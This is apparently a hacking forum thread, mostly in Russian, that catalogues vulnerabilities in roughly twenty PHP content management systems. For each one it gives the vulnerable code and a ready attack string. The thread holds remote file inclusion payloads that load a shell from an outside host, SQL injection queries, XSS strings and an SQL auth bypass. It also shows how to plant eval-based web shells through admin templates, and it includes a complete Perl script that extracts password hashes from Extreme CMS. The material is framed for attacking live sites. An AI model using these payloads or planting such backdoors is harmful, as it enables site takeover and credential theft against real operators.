Product: Mini-CWB CMS Author: GraFX Software Solutions (GPL) Version: 2.1.1 LFI file: all (!) PHP: if (!isset($_SESSION['session_lang'])) { $session_lang = $LANG; $_SESSION['session_lang']=$session_lang; } else $session_lang=$_SESSION['session_lang']; include_once(INDEX_PATH."cls_fast_template.php"); $NEWLANG = $session_lang; include_once(INCLUDE_LANGUAGE_PATH.$NEWLANG.".inc.php"); // а вот и инклуд. target: Создаем запрос,где подменяем параметр сесии с названием session_lang на запрос инклуда файла.Пример: session_lang=file.php%00 MQ=off, ../ не фильтруеться.
Product: F3Site Author: unnamed Version: 2009 LFI file: index.php PHP: if(file_exists('./mod/'.$_GET['co'].'.php')) { (include './mod/'.$_GET['co'].'.php') OR $content->set404(); } elseif(file_exists('./plugins/'.$_GET['co'].'/default.php')) { (include './plugins/'.$_GET['co'].'/default.php') OR $content->set404(); } target: index.php?co=../../hello.php%00 mq=off Thx, jokester! извиняюсь,это только на моем сервере нужна кавычка.
FACIL CMS Local File Include in modules.php: PHP: ... $_MODLOAD = trim($_GET['modload']); ... if(file_exists(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/index.php')) { require_once(_FACIL_MODULES_PATH_ . '/' . $_MODLOAD . '/i18n/lang-' . $_SESSION['FACIL_LANGUAGE'] . '.php'); ... PoC: Code: http://localhost/facil/modules.php?modload=existing_dir/../../../FILE//////////[...] phpinfo file: Code: http://localhost/facil/phpinfo.php
Product: Plume CMS Author: unnamed Version: 1.2.3 RFI file: prepend.php PHP: if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit; include_once $_PX_config['manager_path'].'/conf/config.php'; include_once $_PX_config['manager_path'].'/inc/class.config.php'; include_once $_PX_config['manager_path'].'/inc/lib.text.php'; include_once $_PX_config['manager_path'].'/inc/class.hook.php'; include_once $_PX_config['manager_path'].'/inc/class.dispatcher.php'; include_once $_PX_config['manager_path'].'/inc/class.rss.php'; include_once $_PX_config['manager_path'].'/inc/class.search.php'; include_once $_PX_config['manager_path'].'/inc/class.error404.php'; include_once $_PX_config['manager_path'].'/inc/class.category.php'; include_once $_PX_config['manager_path'].'/inc/class.resource.php'; include_once $_PX_config['manager_path'].'/inc/class.news.php'; include_once $_PX_config['manager_path'].'/inc/class.article.php'; include_once $_PX_config['manager_path'].'/inc/class.resourceset.php'; include_once $_PX_config['manager_path'].'/inc/lib.frontend.php'; include_once $_PX_config['manager_path'].'/inc/lib.sql.php'; include_once $_PX_config['manager_path'].'/inc/class.paginator.php'; include_once $_PX_config['manager_path'].'/inc/class.cache.php'; include_once $_PX_config['manager_path'].'/inc/class.sitemap.php'; include_once $_PX_config['manager_path'].'/inc/class.l10n.php'; Как видим,есть защита: PHP: if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit; Если обратиться к этому скрипту напрямую,он просто прекратит работу. Но авторы не учли маленькую вещь,регистр.Легкий и изящный обход: target: prepend.PhP?_PX_config[manager_path]=http://site.ru/shell.txt%00 Просто меняем регистр у расширения,и проверка уже не срабатывает.Следует отметить,что наш файл заинклудиться стопицот раз,так что в своем шеле пишем,в самом конце, Exit(); Таким образом,предотвратиться инклуд остальных шелов. Важно! Необходимо registers_global = on Iceangel_: Не все требования указал к этой баге, подумай...
CMS AVA LIFE Активная XSS: Отправляем на сервер HTTP запрос. Добавляем к одному из Header'ов (В середине где нибудь) А администратора сайта в Статистике сработает скрипт.
Free Arcade Script v2.0rc1 Local File Include in index.php: register_globals = ON PHP: ... include ('includes/core.php'); ... default: include ('templates/'.$template.'/base_home.php'); include ('includes/defaultsubmenu.php'); include ('includes/defaultsubmenu2.php'); break; ... In core.php: PHP: ... if($_GET['template']){ exit('N00B.'); } ... $template = $set['template']; ... Теперь говоря по русски: это у них типа защита такая, то есть они пушут, что если передано $_GET['template'], то выводится сообщение "Нуб" Но после этого они написали: PHP: $template = $set['template']; И открыли нам путь к инклуду: Code: http://localhost/11/index.php?set[template]=../../FILE%00 Но по сути PHP: if($_GET['template']){ exit('N00B.'); } Так же очень просто обходится, достаточно передать template через POST или COOKIE
Название: ClanSphere Версия: 2009.0.2 Пассивная XSS: http://chat/index.php?mod=awards&action=list&start=0&sort=2"><script>alert();</script> Раскрытие путей: http://chat/mods/gallery/image.php?pic=1&size=9999999999999999999999999999 http://chat/mods/gallery/image.php?pic=1&size[]=9
Extreme CMS 0.9 SQL Injection Exploit Extreme CMS 0.9 SQL Injection Vuln file: /calendar/show.php PHP: ... ... ... ... ... $id = $_GET['event']; // from clicked day $sho = $_GET['sho']; // display method $query = "SELECT * FROM calendar WHERE id = '$id' "; // retrieves ONE record $result = mysql_query($query); $myrow = mysql_fetch_array($result); $ev_1 = $myrow['ev_dat']; // is date for that record (allows multiple events selection) $found = $myrow['ev_dat']; $pieces = explode("-", $ev_1); $monum = intval($pieces[1]); $query = "SELECT * from calendar WHERE ev_dat = '$ev_1' "; // retrieves ALL date matches $result = mysql_query($query); echo"<table width='480' 'cellpadding='3' cellspacing='3' align='center' style='border: thin dotted #cccccc;' bgcolor='#f7f7f7'><tr><td>"; echo "<h2>". $mo[$monum]. " ". intval($pieces[2]). ", ". intval($pieces[0]). "</h2>"; ... ... ... ... ... Не какой фильтрации входящих данных нет. Есть одно но... результат sql запроса обрабатывается intval'ом. Для обхода intval (если это можно назвать обходом ) и упрощения вывода написал эксплойт Exploit: Code: #!/usr/bin/perl #----------------------------------------- # Extreme CMS 0.9 SQL Injection Exploit #----------------------------------------- # Download Script : http://sourceforge.net/projects/extremecms # # Author : RulleR aka Pin4eG # Contact : rull3rrr[at]gmail[dot]com # Visit : forum.antichat.ru #----------------------------------------- use LWP; use Fcntl; #________________ CONFIG _______________ $vuln = '/calendar/show.php?event='; $length = 40; $column_name = 'password'; $table_name = 'auth'; $id = 1; # user id $regexp = '<h2> 0, (.*)<\/h2>'; $filename = 'Exp_result.txt'; #_______________________________________ $title = " [*]==================================[*] ! ! ! Extreme CMS SQL Injection Exploit ! ! ! ! Found && coded by RulleR ! ! ! [*]==================================[*] "; print $title; print "\n[+] Enter Host: "; chop ($host = <>); print "\n[>] Exploiting started... $host\n"; for ($start = 1; $start<=$length; $start++) { $inj = '-1%27+union+select+null,ord(substr((select+'.$column_name.'+from+'.$table_name.'+where+id='.$id.'),'.$start.',1)),null,null,null+--+'; $req = $host.$vuln.$inj; $cont = &WebGet($req); $cont =~ /$regexp/; last if (!$1); $char = chr($1); push (@res, $char); } print "\n------------- [Result] --------------\n"; print @res; print "\n-------------------------------------\n"; print "\n[!] Exploiting finished :)\n"; sysopen (RESULT, $filename, O_WRONLY | O_CREAT); print RESULT $title; print RESULT "\n------------- [Result] --------------\n"; print RESULT @res; print RESULT "\n-------------------------------------\n"; close (RESULT); print "\nResult saving in $filename\n"; sub WebGet() { $url = $_[0]; $request = HTTP::Request->new(GET => $url); $u_a = LWP::UserAgent->new(); $u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $u_a->timeout(5); $response = $u_a->request($request); if ($response->is_error) { print " ! Error: ".$response->status_line.".\n"; die " :(\n"; } return $response->content; } securityreason.com Для успешной эксплуатации необходимо: magic quotes = Off © RulleR aka Pin4eG
phpKB <= 2.0 auth bypass /admin/ login: asd' OR 1=1 -- - pass: asdasd Сам движок скачать не удалось, поэтому зависимости и уязвимый кусок кода не привожу.
Kasseler CMS 1.3.4 Lite XSS пассивная: http://localhost/dir/index.php?module=[target]&do="><script>alert();</script> ------------------------------------------------------------------- http://localhost/dir/index.php?module=[target]&do=View&id="><script>alert();</script> XSS пассивная: http://localhost/dir/index.php?module=[target]&do="><script>alert();</script> XSS пассивная: http://localhost/dir/index.php?module=Account&do=UserInfo&uname="><script>alert();</script>
CubeCart 4.3.0 Активная xss: http://[localhost]/index.php?_a=profile в редактировании профиля. В поля: Название Компании Город вписываем: и сохраняем. При просмотре профилей и заказов администратором код выполнится. SQL injection: exploit: в результате инъекции ошибка хоть и пишется, но данные все - равно выходят. Пример: Раскрытие путей: http://[localhost]/index.php?_a=viewProd&productId[]=1 Локальный инклуд: http://[localhost]/admin.php?_g=../../../giftCertificates файл должен быть вида: [file_name].inc.php - особо не разбирался, видимо надо баловаться с нулл - байтом.
Product: SphereCMS Author: http://sphere.xlentprojects.se/ Version: 1.0.2 beta SQL-inj file: comments.php PHP: if (isset($_GET['id'])) { $query = $XlentCMS->query_select("xcms_news", " WHERE id='" . $_GET['id'] . "'"); $news = $XlentCMS->fetch($query); $content .= " <div class='post' id='post-8'> <div class='date'><span>" . $news['date_month'] .... // сам метод: function query_select($table, $conditions=""){ $query = mysql_query("SELECT * FROM ".$table.$conditions) or $this->error(mysql_error()); return $query; } target: ?id=1'+union+select+1,version(),3,4,5,6,7/* file: downloads.php PHP: if(isset($_GET['cat'])){ $result = mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error()); target: ?cat=-1+union+select+1,2,3,4,version(),6,7,8,9/* file: archive.php PHP: $result = mysql_query("SELECT * FROM xcms_archive WHERE id='".$_GET['view']."'") or die(mysql_error()); $archive = mysql_fetch_array($result); target: ?view=1'+union+select+1,2,version(),4,5,6/* file: /forum/view_topic.php PHP: $topic = $XlentCMS->query_select("xcms_forum_topics", " WHERE id='".$_GET['view']."'"); $topic = $XlentCMS->fetch($topic); target: ?view=1'+union+select+1,2,3,version(),5,6/* file: /forum/view_post.php PHP: $select = $XlentCMS->query_select("xcms_forum_posts", " WHERE topic_id='".$_GET['view']."'"); target: ?view=1'+union+select+1,2,3,version(),5,6,7/*
Product: WebSpell Author: http://webspell.org Version: 4.2.1 beta /*Тут уже публиковалось раньше под эту CMS несколько дыр,но с обновлением их убрали.Файлов много,а вот нарыл немного*/ SLQ-inj file: newsletter.php PHP: elseif($action=="delete") { $ergebnis = safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'"); ... elseif($action=="forgot") { $ergebnis = safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'"); target: ?action=delete&email=1'+union+select+1,2,3,4,5,6,7,8/* file: faq.php PHP: $faqcatID = $_GET['faqcatID']; $get = safe_query("SELECT faqcatname FROM ".PREFIX."faq_categories WHERE faqcatID='".$faqcatID."'"); $dc = mysql_fetch_assoc($get); $faqcatname = $dc['faqcatname']; target: ?faqcatID=1'+union+select+1,2,3,4,5,6,7/*
Textpattern 4.2.0 тут скачать Eval доступ к бд и права редактирования. Это если других способов заливки нету, то читаем дальше... PHP: publish.php ... $html = safe_field('user_html','txp_page',"name='".doSlash($pretext['page'])."'", false); if (!$html) txp_die(gTxt('unknown_section'), '404'); // useful for clean urls with error-handlers txp_status_header('200 OK'); trace_add('['.gTxt('page').': '.$pretext['page'].']'); set_error_handler("tagErrorHandler"); $pretext['secondpass'] = false; $html = parse($html); $pretext['secondpass'] = true; trace_add('[ ~~~ '.gTxt('secondpass').' ~~~ ]'); $html = parse($html); // the function so nice, he ran it twice if ($prefs['allow_page_php_scripting']) $html = evalString($html); ... function evalString($html) { global $prefs; if (strpos($html, chr(60).'?php') !== false) { trigger_error(gTxt('raw_php_deprecated'), E_USER_WARNING); if (!empty($prefs['allow_raw_php_scripting'])) $html = eval(' ?'.chr(62).$html.chr(60).'?php '); else trigger_error(gTxt('raw_php_disabled'), E_USER_WARNING); } return $html; } ... если есть доступ к бд то редактируем таблица textpattern_txp_page ---> поле default вписываем <txphp> eval($_REQUEST[ev]); </txphp> и имеем выполнение кода. http://textpattern/?ev=phpinfo();
Product: Splash Frog CMS Author: http://www.twinleafstudios.net/ Version: 2.0.1 LFI file: details.php /*треуються права админа*/ PHP: function main_content() { if(empty($_GET['sec'])) { header("Location: main.php"); exit; } if(!empty($_SESSION['SplashFrog_ViewSite'])) { if(($_SESSION['SplashFrog_SiteAdmin'] != '1') && (!in_array($_SESSION['SplashFrog_ViewSite'], $_SESSION['SplashFrog_SiteID']))) { echo '<p class="error">You do not have permission to view this site.</p>'; return; } } if(file_exists("section/".$_GET['sec'].".php")) { include_once("section/".$_GET['sec'].".php"); } else { echo '<p class="error">Unable to access the selected section.</p>'; } } PHP: <?php if(function_exists(main_content)) { echo main_content(); } ?> target: ?sec=../../../file.php%00 /*без прав админа*/ file: details.php PHP: function main_submenu() { if(file_exists("submenu/".$_GET['sec'].".php")) { include_once("submenu/".$_GET['sec'].".php"); } } Вызываеться в файле: file: /template/tmpl2.php PHP: <?php if(function_exists(main_submenu)) { echo main_submenu(); } ?> target: ?sec=../../../file.php$00 XSS В папке /forms/ уязвим почти каждый файл.пример: file: /forms/admin/admin.php PHP: <input type="hidden" name="adminID" value="<?=$_POST['adminID'];?>" /> <input type="hidden" name="curUsername" id="curUsername" value="<?=$_POST['username'];?>" /> <input type="hidden" name="curEmail" id="curEmail" value="<?=$_POST['email'];?>" /> target: {POST} ?username="><script>alert('hacker');</script>
Product: CruXCMS Author: http://www.cruxsoftware.co.uk/ Version: 3.0.0 Я незнаю как это назвать,это даже не уязвимость,а скорее эдакая бага, "подлянка" админам. Суть в том,что можно переименовывать скрипты на сервере в произвольные имена.А именно: file: /manager/rename.php PHP: if (isset($_GET['Nameold'])) { $Nameold = $_GET['Nameold']; } if (isset($_POST['Show'])) { $Show = $_POST['Show']; } if (isset($_GET['Show'])) { $Show = $_GET['Show']; } if (isset($_POST['Namenew'])) { $Namenew = preventinjection($_POST['Namenew']); .... if (!rename($linkold, $linknew)) { echo "<h1>Renaming of $Nameold has failed, please check folder permissions<br> and that a file with that name doesn't already exist</h1>"; } .. функция preventinjection - чекает на кавычки. target: /manager/rename.php?Nameold=index.php&Namenew=2674624624fff&Show=Finished После этого скрипты index.php будет переименован в 2674624624fff.php Вот так вот,мучаем админов
Product: DmcCMS Author: http://sourceforge.net/projects/dmcms/ Version: 0.7.6 LFI Пришлось немножко подумать,над тем как тут провернуть LFI, мой сонный мозг выдал мне этот вариант.Итак вот он: /*Для реализации необходим register_globals = ON */ file: user_language.php PHP: if (!isset($_COOKIE["deeemm_language"])) { $language = '1'; session_start(); $_SESSION['language'] = $language; header("Cache-control: private"); //IE6 session control fix header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"'); //bypass 3rd party policy setcookie("deeemm_language" ,$language ,time()+60*60*12*365 ); } elseif (isset($_COOKIE["deeemm_language"])) { session_start(); header("Cache-control: private"); //IE6 session control fix $language = $_COOKIE["deeemm_language"]; } .... $sql_query = mysql_query("SELECT * FROM `" . $db_table_prefix . "admin` WHERE `id` = 0"); while($sql_result = mysql_fetch_array($sql_query)) { $language_1_flag = $sql_result[language_1_flag]; $language_2_flag = $sql_result[language_2_flag]; $language_3_flag = $sql_result[language_3_flag]; $language_4_flag = $sql_result[language_4_flag]; } ... $language_file = 'language/' . ${'language_' . $language} . '.php'; require $language_file; target: Отправляем запрос, где: Code: GET target/user_language.php?[COLOR=Red][B]language_666=../../LFI[/B][/COLOR] HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Keep-Alive: 300 Connection: keep-alive Cookie: [COLOR=Red]deeemm_language=666;[/COLOR] Cache-Control: max-age=0 Ну вот и все,получаем инклуд файла,в переменной: language_666. Вроде бы правильно все,не пинать,спать хочу очень Если что,поправьте я утром исправлю сообщение. /*PS: на сегодня ставил задачу как можно больше разобраться в лфи\рфи,поэтому концентрировал все внимание на инклудах.Завтра еще раз просмотрю эти движки,и если будет что-то еще - добавлю.Споки ноки*/
Product: DBHCMS - Web Content Management System Author: http://www.drbenhur.com/ Version: 1.1.4 RFI /*Необходимо register_globals = ON and allow_url_include = ON без второго юзаеться как LFI*/ file: index.php PHP: function dbhcms_init($core) { $init = $core.'init.php'; $page = $core.'page.php'; if ((is_file($init))&&(is_file($page))) { require_once($init); require_once($page); } else { die('<div style="color: #872626; font-weight: bold;"> FATAL ERROR - Could not find the initialzation files. Please check the "$dbhcms_core_dir" parameter in the "config.php" and make shure the directory is correct. </div>'); } } ...... dbhcms_init($GLOBALS['dbhcms_core_dir']); target: ?dbhcms_core_dir=http://site.com/shell.txt%00
в дополнение к классной статье Spyder в ноябрьском ][: InstantCMS v1.5.2 В статье описывается, как залить шелл через встроенный дампер БД в админке, есть еще способ: - редактирование файла ../templates/_default_/template.php прямо в админке: Слева снизу - изменить настроки->дизайн->выбираем шаблон->Редактировать PHP вписываем свой код: if (isset($_REQUEST[cmd])) eval(stripslashes($_REQUEST[cmd])); и по ссылке http://site.ru/index.php?cmd=phpinfo(); получаем практически готовый шелл
Product: Ovidentia CMS Author: http://Ovidentia.org Version: 6.x.x <= 7.1.7 RFI Need: register_globals = ON allow_url_include = ON file: /ovidentia/selector.php PHP: require_once $GLOBALS['babInstallPath'] . 'utilit/uiutil.php'; require_once $GLOBALS['babInstallPath'] . 'utilit/tree.php'; target: ?babInstallPath=http://site.com/shell.txt%00 or ?babInstallPath=../../localfile.php%00 file: /ovidentia/statfaq.php PHP: include_once $babInstallPath.'utilit/statutil.php'; include_once $babInstallPath.'utilit/uiutil.php'; target: ?babInstallPath=http://site.com/shell.txt%00 or ?babInstallPath=../../localfile.php%00 Выполнение произвольного кода! Если allow_url_include = ON, то делаем запрос вида: target: data:,<?php eval($_REQUEST[cmd]); ?>&cmd=phpinfo(); На выходе phpinfo(); Спасибо Ctacok